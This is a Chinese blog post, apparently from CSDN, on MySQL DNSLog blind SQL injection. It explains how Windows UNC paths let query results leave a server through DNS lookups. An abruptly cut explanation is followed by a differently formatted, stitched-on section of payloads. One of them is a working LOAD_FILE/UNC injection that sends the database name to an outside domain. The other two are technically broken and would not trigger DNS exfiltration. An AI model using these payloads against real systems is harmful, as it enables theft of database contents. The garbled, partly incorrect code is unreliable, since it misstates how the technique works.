mysql-dnslog注入

DNSLog在SQL注入中的应用
本文详细介绍了DNSLog在SQL注入攻击中的运用原理及实战技巧,尤其针对MySQL环境下利用DNSLog绕过盲注限制,高效获取数据库信息的方法。通过UNC路径特性,文章展示了如何构造payload来查询数据库名、表名、列名及具体数据。

@Adminxe

http://ceye.io/   //dnslog注入平台

dnslog原理简介:

  简单理解就是在利用注入漏洞的时候,页面无回显,无法直接获得回显信息的情况下,目标可以发起DNS请求,这时就可以尝试通过DNSlog注入的方式把想获得的数据外带出来。 对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入。

mysql下的dnslog注入:

利用条件:secure_file_priv 不能为NULL,仅支持 Windows但不支持 Linux ,原因如下:

load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

1.show variables like ‘%secure%’;    &

### 关于DNSLOG注入的常用Payload 在SQL盲注场景下,DNSLog注入是一种常见的技术手段,它可以通过`load_file()`函数或其他方式触发DNS解析请求,并将目标数据发送至指定的DNSLog平台。以下是几种常用的DNSLog注入Payload示例: #### Payload 示例 1:基于 `load_file()` 通过调用MySQL中的`load_file()`函数加载远程文件路径的方式,可以构造如下Payload: ```sql ' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.example.com\\')) -- ``` 此语句的作用是尝试从当前数据库名称拼接成一个完整的UNC路径并触发DNS查询[^3]。 #### Payload 示例 2:基于字符串拼接 另一种常见方法是直接使用字符串拼接功能构建子域部分,从而向外部DNS服务器发起请求。例如,在支持字符串连接运算符的情况下可写为: ```sql ' AND (SELECT CASE WHEN (1=1) THEN CONCAT_WS('.',database(),'zone.dnslog.example') ELSE '' END) INTO OUTFILE '/tmp/test.txt' ``` #### Payload 示例 3:动态执行命令 如果环境允许执行存储过程或者动态SQL,则还可以进一步扩展复杂度较高的攻击载荷。下面是一个简单的例子展示如何创建临时表并通过其内容生成自定义域名请求: ```sql CREATE TEMPORARY TABLE temp_dns(id INT, data VARCHAR(255)); INSERT INTO temp_dns VALUES(1,(SELECT user())); SELECT CONCAT((SELECT data FROM temp_dns WHERE id=1),'.subdomain.ceye.io.') AS result; DROP TABLE IF EXISTS temp_dns; ``` 以上每种形式都依赖具体的应用程序逻辑以及后台所使用的DBMS特性而有所不同;实际应用过程中需根据实际情况调整语法结构以适配不同类型的漏洞特征[^4]。 ### 注意事项 - 使用上述任何一种payload之前,请确保已获得合法授权来进行此类测试活动。 - 测试完成后应及时清理产生的中间状态(如临时表格),以免影响正常业务运行。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值